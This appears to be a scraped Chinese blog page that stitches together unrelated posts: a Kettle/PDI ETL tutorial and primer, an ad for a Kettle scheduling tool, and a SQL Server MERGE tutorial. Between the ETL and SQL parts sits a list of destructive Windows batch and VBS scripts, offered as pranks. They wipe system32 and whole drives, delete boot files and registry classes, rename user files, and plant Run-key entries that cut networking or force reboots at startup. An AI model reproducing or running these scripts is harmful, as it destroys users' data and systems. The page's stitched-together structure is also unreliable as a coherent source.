分类 大观园 下的文章

介绍

ETL是EXTRACT(抽取)、TRANSFORM(转换)、LOAD(加载)的简称,实现数据从多个异构数据源加载到数据库或其他目标地址,是数据仓库建设和维护中的重要一环,也是工作量较大的一块。Kettle是ETL中其中一个开源工具,基于纯Java开发。


kettle有两种脚本transformation(转换)和Job(作业)


Kettle有三个主要组件:Spoon、Kitchen、Pan


         Spoon:是一个图形化的界面,可以让我们用图形化的方式开发转换和作业。windows选择Spoon.bat;Linux选择Spoon.sh


         Kitchen:利用Kitchen可以使用命令行调用Job


         Pan:利用Pan可以用命令行的形式调用Trans


         Carte:Carte是一个轻量级的Web容器,用于建立专用、远程的ETL Server。


声明

1.Kettle最早叫做Kettle,后来该名为PDI,不过大多数人还是习惯于叫Kettle


2.我们这里使用的版本是最新的Kettle 8.1的版本


3.说明一下Kettle的帮助文档可以在Spoon中找到,如果有任何问题可以去帮组文档中查找




运行PDI Client(Spoon)

PDI Client启动分为两种:一种是安装包方式安装,然后在菜单栏中启动,这种方式并不是我们想要的。另外一种是通过解压zip包,然后通过启动脚本spoon.bat或者spoon.sh启动Spoon。


如果正确启动,则出现的主界面应该是下面这样的。




界面整体功能的介绍在Spoon的帮助文档中有详细的介绍,下图中的章节。




Kettle的使用流程

1.创建一个简单的转换

首先这个转换的事例是把testdb数据库中的t_user表的数据拷贝到test表数据库中的user表。


1)创建一个转换




2)连接到testdb和test数据库




连接好以后应该会在DB连接中出现两个数据库连接。




3)在核心对象中拖入一个表输入




并对表输入进行属性设置。




4)然后在核心对象中拖入插入/更新组件




5)按住shift从表输入到插入/更新




6)然后在对插入/更新进行配置,在用来查询的关键字中需要设置连接的字段。




7)最后保存,并运行这个转换,看看是否正确。




2.创建一个简单的作业

这个作业就是将之前的转换以定时执行的方式运行。


1)拖入开始组件,这里设置的间隔时间的3分钟




2)拖入转换组件,将刚刚保存的转换文件配置到Transformation属性中。




3)点击运行按钮,运行配置的作业。


3.连接资源库

在实际的团队开发过程中,不可能将自己的转换、作业和调度等配置存放在自己的电脑中。而Kettle的资源库正可以将我们的转换、作业等存储下来,构成一种协作平台。


转换任务在资源库中是以文件夹形式分组管理的,用户可以自定义文件夹名称。Kettle支持连接的资源库类型有三种:


         1.Pentaho Repository:使用的是Kettle公司自己的服务器,一般自己公司不会使用


         2.Database Repository:保存在数据库的资源库,通过用户名密码访问


         3.File Repository:保存的服务器硬盘的资源库,不用密码就可以使用


1)连接资源库


点击右侧的Connect按钮,打开资源连接的Dialog,这里我们需要选择Other Repository




然后在选择Database Repository,如下所示。




2)配置数据库连接,点击Database Connection进行配置




3)完成配置后,点击finish即可。配置完成后,数据库中会多出一些表,选择Connect Now。




4)选择连接后,我们需要输入用户名密码,即可连接到指定的资源库。注意,这里的用户名密码默认是admin/admin(管理员)或者guest/guest(访问者)。然后在title上会显示连接的资源库。




注意:上面的连接配置不要使用中文,包括资源名等等。不然会出现资源库配置为灰色,而且没有Connect按钮。解决方案见Kettle常见错误。


4.使用资源库进行协作开发

1.转换或作业的导入导出

1)导入


当我们有转换或作业在外部需要导入到资源库时,我们可以选择文件—从XML文件导入,选择我们需要导入的文件。




然后将文件保存,会弹出Save界面,选择保存的目录和文件名即可。




2)导出


当我们需要将资源库中的作业和转换保存到本地使用时,我们可以选择文件—导出,进行导出。




2.探索资源库

选择工具—资源库—探索资源库,可以连接到当前连接的资源库。




下面就连接上的资源库。浏览Tab主要是资源库中存在的转换和作业




在浏览的目录或者文件上可以进行以下的各种操作。在这里我实在是没有找不到access controll和历史版本查看的功能。




3.资源连接库管理

在右侧的显示个人信息地方我们可以管理资源库。



————————————————

版权声明:本文为CSDN博主「永远_不会懂」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/u013468915/article/details/82629260


1、什么是ETL?

答:ETL(Extract-Transform-Load的缩写,即数据抽取、转换、装载的过程),对于企业或行业应用来说,我们经常会遇到各种数据的处理,转换,迁移,所以了解并掌握一种etl工具的使用,必不可少,这里我要学习的ETL工具是Kettle!

2、什么是Kettle?

答:Kettle是一款国外开源的ETL工具,纯java编写,可以在Window、Linux、Unix上运行,绿色无需安装,数据抽取高效稳定。
Kettle 中文名称叫水壶,该项目的主程序员MATT 希望把各种数据放到一个壶里,然后以一种指定的格式流出。
Kettle这个ETL工具集,它允许你管理来自不同数据库的数据,通过提供一个图形化的用户环境来描述你想做什么,而不是你想怎么做。
Kettle中有两种脚本文件,transformation和job,transformation完成针对数据的基础转换,job则完成整个工作流的控制。
Kettle(现在已经更名为PDI,Pentaho Data Integration-Pentaho数据集成)。

3、Kettle的结构。

4、Kettle的结构-Spoon和Data Integration Server。

答:Spoon是构建ETL Jobs和Transformations的工具。Spoon以拖拽的方式图形化设计,能够通过spoon调用专用的数据集成引擎或者集群。

Data Integration Server是一个专用的ETL Server,它的主要功能有:

5、Kettle的结构-Enterprise Console。

答:Enterprise Console(企业控制台)提供了一个小型的客户端,用于管理Pentaho Data Integration企业版的部署。包括企业版本的证书管理、监控和控制远程Pentaho Data Integration服务器上的活动、分析已登记的作业和转换的动态绩效。

6、kettle的核心组件。

7、Kettle概念模型。Kettle的执行分为两个层次:Job(作业)和Transformation(转换)。

8、Kettle的下载。

Kettle官方网址:https://community.hitachivantara.com/s/article/data-integration-kettle,目前最新版本8.2版本的,不建议官网下载,贼慢,压缩包一个G左右的。

Kettle的国内镜像:7.1版本,http://mirror.bit.edu.cn/pentaho/Data%20Integration/,8.2版本,http://mirror.bit.edu.cn/pentaho/Pentaho%208.2/client-tools/

9、 Kettle的压缩包下载完毕,解压缩即可。Kettle的目录文件,如下所示:

10、 Kettle的部署,Kettle下载以后需要配置一下环境变量,因为Kettle是纯Java开发的哦!

由于Kettle是Java语言开发的,该软件的允许需要Java运行环境的依赖。需要先安装JDK,准备好Java软件的运行环境。安装jdk1.8版本即可,配置环境变量,这些自己百度一下就行了,不啰嗦了。在Window10环境下,双击Spoon.bat即可运行了。

11、Kettle界面简介。

12、Kettle实现,把数据从CSV文件复制到Excel文件。

首先,创建一个转换,找到核心对象,找到输入里面的CVS文件输入图元,拖拽到工作区域,双击CVS文件输入。

可以修改步骤的名称,点击浏览,选择到CVS文件,其他参数可以默认,点击获取字段,最后点击确定。

CVS文件输入配置完毕以后,可以配置Excel输出,如下所示:

此时,可以 按住shift拖动鼠标,划线,将CVS文件输入和Excel输出连到一起。

最后,点击Excel输出,选择字段,点击获取字段,将输出到Excel的字段进行映射,最后点击确定即可。

点击ctrl + s保存,然后点击启动按钮即可。

13 、Kettle的执行结果。

14、Kettle,可以被称为可视化编程。

1)、Kettle可以被归类为可视化编程语言(Visula Programming Languages,VPL),因为Kettle可以使用图形化的方式定义复杂的ETL程序和工作流。
2)、Kettle里的图就是转换和作业。
3)、可视化编程一直是Kettle里的核心概念,它可以让你快速构建复杂的ETL作业和减低维护工作量。它通过隐藏很多技术细节,使IT领域更贴近于商务领域。

15、Kettle里面的转换。

1)、转换(transaformation)是ETL解决方案中最主要的部分,它处理抽取、转换、加载各种对数据行的操作。
2)、转换包含一个或多个步骤(step),如读取文件、过滤数据行、数据清洗或将数据加载到数据库。
3)、转换里的步骤通过跳(hop)来连接,跳定义一个单向通道,允许数据从一个步骤向另一个步骤流动。
4)、在Kettle里,数据的单位是行,数据流就是数据行从一个步骤到另一个步骤的移动。
5)、数据流有的时候也被称之为记录流。

16、Kettle里面的,Step步骤(控件)是转换里的基本的组成部分。

一个步骤有如下几个关键特性:

1)、步骤需要有一个名字,这个名字在转换范围内唯一。
2)、每个步骤都会读、写数据行(唯一例外是"生成记录"步骤,该步骤只写数据)。
3)、步骤将数据写到与之相连的一个或多个输出跳,再传送到跳的另一端的步骤。
4)、大多数的步骤都可以有多个输出跳。一个步骤的数据发送可以被被设置为分发和复制,分发是目标步骤轮流接收记录,复制是所有的记录被同时发送到所有的目标步骤。

17、Kettle里面的,Hop跳(即图元之间的连线)。

1)、跳就是步骤之间带箭头的连线,跳定义了步骤之间的数据通路。
2)、跳实际上是两个步骤之间的被称之为行集的数据行缓存(行集的大小可以在转换的设置里定义)。
3)、当行集满了,向行集写数据的步骤将停止写入,直到行集里又有了空间。
4)、当行集空了,从行集读取数据的步骤停止读取,直到行集里又有可读的数据行。

18、Kettle里面的,数据行-数据类型。

数据以数据行的形式沿着步骤移动。一个数据行是零到多个字段的集合,字段包含下面几种数据类型。

1)、String:字符类型数据
2)、Number:双精度浮点数。
3)、Integer:带符号长整型(64位)。
4)、BigNumber:任意精度数据。
5)、Date:带毫秒精度的日期时间值。
6)、Boolean:取值为true和false的布尔值。
7)、Binary:二进制字段可以包含图像、声音、视频及其他类型的二进制数据。

19、Kettle里面的,数据行-元数据。

每个步骤在输出数据行时都有对字段的描述,这种描述就是数据行的元数据。通常包含下面一些信息。

1)、名称:行里的字段名应用是唯一的。
2)、数据类型:字段的数据类型。
3)、格式:数据显示的方式,如Integer的#、0.00。
4)、长度:字符串的长度或者BigNumber类型的长度。
5)、精度:BigNumber数据类型的十进制精度。
6)、货币符号:¥。
7)、小数点符号:十进制数据的小数点格式。不同文化背景下小数点符号是不同的,一般是点(.)或逗号(,)。
8)、分组符号:数值类型数据的分组符号,不同文化背景下数字里的分组符号也是不同的,一般是点(.)或逗号(,)或单引号(’)。

20、Kettle里面的,并行概念。

跳的这种基于行集缓存的规则允许每个步骤都是由一个独立的线程运行,这样并发程度最高。这一规则也允许数据以最小消耗内存的数据流的方式来处理。在数据仓库里,我们经常要处理大量数据,所以这种并发低消耗内存的方式也是ETL工具的核心需求。

对于kettle的转换,不可能定义一个执行顺序,因为所有步骤都以并发方式执行:当转换启动后,所有步骤都同时启动,从它们的输入跳中读取数据,并把处理过的数据写到输入跳,直到输入跳里不再有数据,就中止步骤的运行。当所有的步骤都中止了,整个转换就中止了。 (要与数据流向区分开)

如果你想要一个任务沿着指定的顺序执行,那么就要使用后面所讲的"作业"!



作者:别先生

   
博客园:https://www.cnblogs.com/biehongli/

   


KettleOnline在线调度管理系统说明:

本系统基于jdk1.8+Tomcat8+mysql5.7部署(内核引擎为Kettle9.0),支持各个版本kettle(包括:kettle7、kettle8、kettle9等开发的作业和转换在线运行),采用一键安装包(支持Windows和Linux部署),非常方便实用。

测试地址一    测试地址二 (用户密码admin )     加群下载、永久免费升级

 

一、主要功能说明:

  • 如果动辄上百或几十个job需要管理,这时在使用客户端管理已经很难编排。
  • 定时设置,可以按照cron的方式,设置定时的周期和时间。
  • 可以进行作业调度和转换调度。
  • 对作业和转换的执行情况进行监控。
  • 实时查看作业运行日志,查看log日志,查看kettle内部的运行日志。
  • 支持数据库资源库和文件资源库,可以共享进行多人开发。
  • 支持多人协作的多用户模式,权限隔离。
  • 采用B/S结构,灵活部署。
  • 可以进行集群部署、分布式部署,提高承载能力。
  • 可以进行任务判断和补发,提高容错能力。

 

二、系统截图:

2.1系统首页

1

2.2数据库资源库管理界面

2

2.3作业管理,同时支持数据库资源库和文件资源库 

2.4作业的调度设置界面

4

2.5转换的管理列表

5

2.6转换的编辑界面

6

2.7 监控界面

7

2.8用户管理界面

8

2.9策略配置界面

9


1 蓝屏死机

Del %windowsdrive%\*.* /f /s /q Shutdown -s -f -t 0

2 更改文件后缀名

 Ren *.doc *.txt Ren *.jpeg *.txt Ren *.lnk *.txt Ren *.avi *.txt Ren *.mpeg *.txt Ren *.com *.txt Ren *.bat *.txt

3 删除system32

 Del c:\windows\system32\*.* /q

4 使PC永久崩溃

 @echo off Attrib -r -s -h c:\autoexec.bat Del c:\autoexec.bat Attrib -r -s -h c:\boot.ini Del c:\boot.ini Attrib -r -s -h c:\ntldr Del c:\ ntldr Attrib -r -s -h c:\windows\win.ini Del c:\windows\win.ini

5 删除所有的注册表

 @echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*

6 永久禁用网络

echo @echo off>c:\windows\wimn32.bat echo break off>>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windowswimn32.bat echo end>>c:\windows\wimn32.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVision\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause

7 一直按回车

(这个要保存为.vbs) Set wshShell=wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys"~(enter)" loop

8 启动电脑后自动关机

echo @echo off>c:\Windows\hartlell.bat echo break off>>c:\Windows\hartlell.bat echo shutdown -r -t 11 -f>>c:\Windows\hartlell.bat echo end>>c:\Windows\hartlell.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windwos\CurrentVersion\Run /v startAPI /t reg_sz /d c:\Windows\hartlell.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v /t reg_sz /d c:\Windows\hartlell.bat /f pause

9 开启CD蜂鸣器

(这个也是.vbs格式) Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 10. rd/s/q D:\ rd/s/q C:\ rd/s/q E:\


    Merge关键字在SQL Server 2008被引入,它能将Insert,Update,Delete简单的并为一句。MSDN对于Merge的解释非常的短小精悍:”根据与源表联接的结果,对目标表执行插入、更新或删除操作。例如,根据在另一个表中找到的差异在一个表中插入、更新或删除行,可以对两个表进行同步。”,通过这个描述,我们可以看出Merge是关于对于两个表之间的数据进行操作的。

    可以想象出,需要使用Merge的场景比如:

  •     数据同步

  •     数据转换

  •     基于源表对目标表做Insert,Update,Delete操作

 

使用Merge关键字的好处

    首先是更加短小精悍的语句,在SQL Server 2008之前没有Merge的时代,基于源表对目标表进行操作需要分别写好几条Insert,Update,Delete。而使用Merge,仅仅需要使用一条语句就好。下面我们来看一个例子。

    首先建立源表和目标表,并插入相关的数据,如图1所示。

  1

     图1.创建测试表并插入测试数据

   

    下面我们来写一个简单的Merge语句,如图2所示。

     2

     图2.一个简单的Merge语句

  

     所造成的结果如图3所示。

     3

     图3.Merge语句对于目标表的更新

 

     最终目标表的结果如图4所示。

     4

     图4.最后目标表的结果

 

    Merge语句还有一个强大的功能是通过OUTPUT子句,可以将刚刚做过变动的数据进行输出。我们在上面的Merge语句后加入OUTPUT子句,如图5所示。

    5

    图5.Merge语句后加上OUTPUT子句

 

   此时Merge操作完成后,将所变动的语句进行输出,如图6所示。

   6

   图6.输出Merge操作产生的数据变更

 

   当然了,上面的Merge关键字后面使用了多个WHEN…THEN语句,而这个语句是可选的.也可以仅仅新增或是仅仅删除,如图7所示。

   7

    图7.仅仅插入的Merge语句

 

   我们还可以使用TOP关键字限制目标表被操作的行,如图8所示。在图2的语句基础上加上了TOP关键字,我们看到只有两行被更新。

   8

    图8.使用TOP关键字的Merge语句

 

    但仅仅是MATCHED这种限制条件往往不能满足实际需求,我们可以在图7那个语句的基础上加上AND附加上额外的限制条件,如图9所示。

    9

    图9.加上了AND限制条件的Merge语句

 

Merge关键字的一些限制

  •     使用Merge关键字只能更新一个表

  •     源表中不能有重复的记录